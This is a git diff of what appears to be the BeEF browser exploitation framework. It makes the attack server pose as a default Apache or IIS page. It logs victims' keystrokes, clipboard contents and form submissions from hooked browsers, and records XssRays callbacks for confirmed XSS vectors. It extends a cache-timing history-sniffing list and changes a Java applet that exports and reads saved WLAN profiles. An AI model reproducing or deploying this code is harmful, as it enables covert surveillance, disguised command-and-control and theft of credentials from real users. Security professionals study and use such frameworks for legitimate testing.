"<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>" +
|
||||
"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
|
||||
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
|
||||
"</ul>" +
|
||||
"</TD></TR></TABLE></BODY></HTML>"
|
||||
else
|
||||
"Not Found."
|
||||
end
|
||||
else
|
||||
"Not Found."
|
||||
end
|
||||
end
|
||||
|
||||
before do
|
||||
# @note Override Server HTTP response header
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
headers "Server" => "Apache/2.2.3 (CentOS)",
|
||||
"Content-Type" => "text/html"
|
||||
|
||||
when "iis"
|
||||
headers "Server" => "Microsoft-IIS/6.0",
|
||||
"X-Powered-By" => "ASP.NET",
|
||||
"Content-Type" => "text/html"
|
||||
else
|
||||
print_error "You have and error in beef.http.web_server_imitation.type! Supported values are: apache, iis."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @note Default root page
|
||||
get "/" do
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">" +
|
||||
"<head>" +
|
||||
"<title>Apache HTTP Server Test Page powered by CentOS</title>" +
|
||||
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />" +
|
||||
"<style type=\"text/css\">" +
|
||||
"body {" +
|
||||
"background-color: #fff; " +
|
||||
"color: #000;" +
|
||||
"font-size: 0.9em;" +
|
||||
"font-family: sans-serif,helvetica;" +
|
||||
"margin: 0;" +
|
||||
"padding: 0; " +
|
||||
"} " +
|
||||
":link { " +
|
||||
"color: #0000FF; " +
|
||||
"} " +
|
||||
":visited { " +
|
||||
"color: #0000FF; " +
|
||||
"} " +
|
||||
"a:hover { " +
|
||||
"color: #3399FF; " +
|
||||
"} " +
|
||||
"h1 { " +
|
||||
" text-align: center; " +
|
||||
" margin: 0; " +
|
||||
" padding: 0.6em 2em 0.4em; " +
|
||||
" background-color: #3399FF;" +
|
||||
" color: #ffffff; " +
|
||||
" font-weight: normal; " +
|
||||
" font-size: 1.75em; " +
|
||||
" border-bottom: 2px solid #000; " +
|
||||
"} " +
|
||||
"h1 strong {" +
|
||||
"font-weight: bold; " +
|
||||
"} " +
|
||||
"h2 { " +
|
||||
" font-size: 1.1em;" +
|
||||
"font-weight: bold; " +
|
||||
"} " +
|
||||
".content { " +
|
||||
" padding: 1em 5em; " +
|
||||
"} " +
|
||||
".content-columns { " +
|
||||
" /* Setting relative positioning allows for " +
|
||||
" absolute positioning for sub-classes */ " +
|
||||
" position: relative; " +
|
||||
" padding-top: 1em; " +
|
||||
"} " +
|
||||
".content-column-left { " +
|
||||
" /* Value for IE/Win; will be overwritten for other browsers */" +
|
||||
" width: 47%; " +
|
||||
" padding-right: 3%; " +
|
||||
" float: left; " +
|
||||
" padding-bottom: 2em; " +
|
||||
"} " +
|
||||
".content-column-right { " +
|
||||
" /* Values for IE/Win; will be overwritten for other browsers */" +
|
||||
" width: 47%; " +
|
||||
" padding-left: 3%; " +
|
||||
" float: left; " +
|
||||
" padding-bottom: 2em; " +
|
||||
"} " +
|
||||
".content-columns>.content-column-left, .content-columns>.content-column-right {" +
|
||||
" /* Non-IE/Win */" +
|
||||
"} " +
|
||||
"img { " +
|
||||
" border: 2px solid #fff; " +
|
||||
" padding: 2px; " +
|
||||
" margin: 2px; " +
|
||||
"} " +
|
||||
"a:hover img { " +
|
||||
" border: 2px solid #3399FF; " +
|
||||
"} " +
|
||||
"</style> " +
|
||||
"</head> " +
|
||||
"<body> " +
|
||||
"<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>" +
|
||||
"<div class=\"content\">" +"<div class=\"content-middle\">" +
|
||||
"<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>" +
|
||||
"</div>" +
|
||||
"<hr />" +
|
||||
"<div class=\"content-columns\">" +
|
||||
"<div class=\"content-column-left\"> " +
|
||||
"<h2>If you are a member of the general public:</h2>" +
|
||||
"<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>" +
|
||||
"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.</p> " +
|
||||
"<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".</p>" +
|
||||
"</div>" +
|
||||
"<div class=\"content-column-right\">" +
|
||||
"<h2>If you are the website administrator:</h2>" +
|
||||
"<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>" +
|
||||
"<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!</p>" +
|
||||
"<p><a href=\"http://httpd.apache.org/\"><img src=\"/ui/media/images/icons/apache_pb.gif\" alt=\"[ Powered by Apache ]\"/></a> <a href=\"http://www.centos.org/\"><img src=\"/ui/media/images/icons/powered_by_rh.png\" alt=\"[ Powered by CentOS Linux ]\" width=\"88\" height=\"31\" /></a></p>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
" <div class=\"content\">" +
|
||||
"<div class=\"content-middle\"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.</p>" +
|
||||
"<p>For information on CentOS please visit the <a href=\"http://www.centos.org/\">CentOS website</a>.</p>" +
|
||||
"<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>" +
|
||||
"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> " +
|
||||
"<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>" +
|
||||
"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
|
||||
"</div>" +
|
||||
"</div>" +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
when "iis"
|
||||
"<html>" +
|
||||
"<head>" +
|
||||
"<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
|
||||
"<title ID=titletext>Under Construction</title>" +
|
||||
"</head>" +
|
||||
"<body bgcolor=white>" +
|
||||
"<table>" +
|
||||
"<tr>" +
|
||||
"<td ID=tableProps width=70 valign=top align=center>" +
|
||||
"<img ID=pagerrorImg src=\"/ui/media/images/icons/pagerror.gif\" width=36 height=48>" +
|
||||
"<td ID=tablePropsWidth width=400>" +
|
||||
"<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">" +
|
||||
"<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>" +
|
||||
"<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; color:black\">" +
|
||||
"The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." +
|
||||
"<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator." +
|
||||
"<hr size=1 color=\"blue\">" +
|
||||
"<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help." +
|
||||
"<h5 ID=head1>To access IIS Help</h5>" +
|
||||
"<ol>" +
|
||||
"<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>." +
|
||||
"<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears." +
|
||||
"<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>." +
|
||||
"<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>" +
|
||||
"</td>" +
|
||||
"</tr>" +
|
||||
"</table>" +
|
||||
"</body>" +
|
||||
"</html>"
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -44,8 +44,10 @@ module API
|
||||
beef_server.mount('/ui/media', Rack::File.new(media_dir))
|
||||
|
||||
|
||||
# mount the favicon file
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
# mount the favicon file, if we're not imitating a web server.
|
||||
if !configuration.get("beef.http.web_server_imitation.enable")
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -48,7 +48,7 @@
|
||||
<%= nonce_tag %>
|
||||
<div id="header">
|
||||
<div class="right-menu">
|
||||
<img src="/favicon.ico" alt="BeEF" title="BeEF" />
|
||||
<img src="/ui/media/images/favicon.ico" alt="BeEF" title="BeEF" />
|
||||
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
|
||||
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues/new' target='_blank'>Submit Bug</a> |
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
|
||||
@@ -80,7 +80,7 @@ class Xssrays < BeEF::Extension::AdminUI::HttpController
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info("[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_info("[XSSRAYS] Starting XSSRays [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
end
|
||||
|
||||
end
|
||||
@@ -116,7 +116,7 @@ class Xssrays < BeEF::Extension::AdminUI::HttpController
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info("[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_info("[XSSRAYS] Starting XSSRays [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -124,4 +124,4 @@ end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
BIN
extensions/admin_ui/media/images/icons/apache_pb.gif
Normal file
BIN
extensions/admin_ui/media/images/icons/apache_pb.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.3 KiB |
BIN
extensions/admin_ui/media/images/icons/pagerror.gif
Normal file
BIN
extensions/admin_ui/media/images/icons/pagerror.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
BIN
extensions/admin_ui/media/images/icons/powered_by_rh.png
Normal file
BIN
extensions/admin_ui/media/images/icons/powered_by_rh.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
@@ -66,10 +66,18 @@ module Events
|
||||
return event['time'].to_s+'s - [Mouse Click] x: '+event['x'].to_s+' y:'+event['y'].to_s+' > '+event['target'].to_s
|
||||
when 'focus'
|
||||
return event['time'].to_s+'s - [Focus] Browser has regained focus.'
|
||||
when 'copy'
|
||||
return event['time'].to_s+'s - [User Copied Text] "'+event['data'].to_s+'"'
|
||||
when 'cut'
|
||||
return event['time'].to_s+'s - [User Cut Text] "'+event['data'].to_s+'"'
|
||||
when 'paste'
|
||||
return event['time'].to_s+'s - [User Pasted Text] "'+event['data'].to_s+'"'
|
||||
when 'blur'
|
||||
return event['time'].to_s+'s - [Blur] Browser has lost focus.'
|
||||
when 'keys'
|
||||
return event['time'].to_s+'s - [User Typed] "'+event['data'].to_s+'" > '+event['target'].to_s
|
||||
when 'submit'
|
||||
return event['time'].to_s+'s - [Form Submitted] '+event['data'].to_s+' > '+event['target'].to_s
|
||||
end
|
||||
print_debug '[EVENTS] Event handler has received an unknown event'
|
||||
return 'Unknown event'
|
||||
|
||||
@@ -17,28 +17,26 @@ module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
class Handler
|
||||
class Handler < BeEF::Core::Router::Router
|
||||
|
||||
XS = BeEF::Core::Models::Xssraysscan
|
||||
XD = BeEF::Core::Models::Xssraysdetail
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
|
||||
get '/' do
|
||||
# verify if the request contains the hook token
|
||||
# raise an exception if it's null or not found in the DB
|
||||
beef_hook = @request['hbsess'] || nil
|
||||
# raise an error if it's null or not found in the DB
|
||||
beef_hook = params[:hbsess] || nil
|
||||
(print_error "[XSSRAYS] Invalid beefhook id: the hooked browser cannot be found in the database";return) if beef_hook.nil? || HB.first(:session => beef_hook) == nil
|
||||
|
||||
rays_scan_id = @request['raysid'] || nil
|
||||
rays_scan_id = params[:raysid] || nil
|
||||
(print_error "[XSSRAYS] Raysid is null";return) if rays_scan_id.nil?
|
||||
|
||||
if @request['action'] == 'ray'
|
||||
if params[:action] == 'ray'
|
||||
# we received a ray
|
||||
parse_rays(rays_scan_id)
|
||||
else
|
||||
if @request['action'] == 'finish'
|
||||
if params[:action] == 'finish'
|
||||
# we received a notification for finishing the scan
|
||||
finalize_scan(rays_scan_id)
|
||||
else
|
||||
@@ -47,38 +45,32 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
response
|
||||
'Access-Control-Allow-Methods' => 'POST,GET'
|
||||
|
||||
end
|
||||
|
||||
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
||||
def parse_rays(rays_scan_id)
|
||||
xssrays_scan = XS.first(:id => rays_scan_id)
|
||||
hooked_browser = HB.first(:session => @request['hbsess'])
|
||||
hooked_browser = HB.first(:session => params[:hbsess])
|
||||
|
||||
if (xssrays_scan != nil)
|
||||
xssrays_detail = XD.new(
|
||||
:hooked_browser_id => hooked_browser.id,
|
||||
:vector_name => @request['n'],
|
||||
:vector_method => @request['m'],
|
||||
:vector_poc => @request['p'],
|
||||
:vector_name => params[:n],
|
||||
:vector_method => params[:m],
|
||||
:vector_poc => params[:p],
|
||||
:xssraysscan_id => xssrays_scan.id
|
||||
)
|
||||
xssrays_detail.save
|
||||
end
|
||||
print_info("[XSSRAYS] Received ray from HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{@request.query_string}")
|
||||
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip.to_s}], hooked domain [#{hooked_browser.domain.to_s}]")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{request.query_string}")
|
||||
end
|
||||
|
||||
# finalize the XssRays scan marking the scan as finished in the db
|
||||
|
||||
@@ -79,7 +79,14 @@ if (beef.browser.isFF() == 1) {
|
||||
{ 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },
|
||||
{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },
|
||||
{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },
|
||||
{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }
|
||||
{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },
|
||||
{ 'category': 'Coding' },
|
||||
{ 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },
|
||||
{ 'category': 'Security' },
|
||||
{ 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },
|
||||
{ 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },
|
||||
{ 'category': 'Email' },
|
||||
{ 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }
|
||||
];
|
||||
/*************************
|
||||
* CONFIGURABLE SETTINGS *
|
||||
@@ -15,10 +15,10 @@
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_history:
|
||||
get_visited_domains:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "History Extraction"
|
||||
name: "Get Visited Domains"
|
||||
description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done at http://lcamtuf.coredump.cx/cachetime/"
|
||||
authors: ["keith_lee @keith55 http://milo2012.wordpress.com"]
|
||||
target:
|
||||
@@ -14,7 +14,7 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
class Get_history < BeEF::Core::Command
|
||||
class Get_visited_domains < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
Binary file not shown.
Binary file not shown.
@@ -68,12 +68,16 @@ public class wirelessZeroConfig extends Applet{
|
||||
} catch (IOException e) { }
|
||||
|
||||
try{
|
||||
String tmpDir = System.getProperty("java.io.tmpdir");
|
||||
if ( !(tmpDir.endsWith("/") || tmpDir.endsWith("\\")) )
|
||||
tmpDir = tmpDir + System.getProperty("file.separator");
|
||||
|
||||
//Export WLAN Profile to XML file
|
||||
for(Iterator iterator = profileList.iterator(); iterator.hasNext();){
|
||||
String profileName = iterator.next().toString();
|
||||
Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"');
|
||||
//Check if exported xml exists
|
||||
File f = new File("Wireless Network Connection-"+profileName+".xml");
|
||||
File f = new File(tmpDir+"Wireless Network Connection-"+profileName+".xml");
|
||||
if(f.exists()){
|
||||
//Read contents of XML file into results variable
|
||||
FileInputStream fstream = new FileInputStream(f);
|
||||
|
||||
Reference in New Issue
Block a user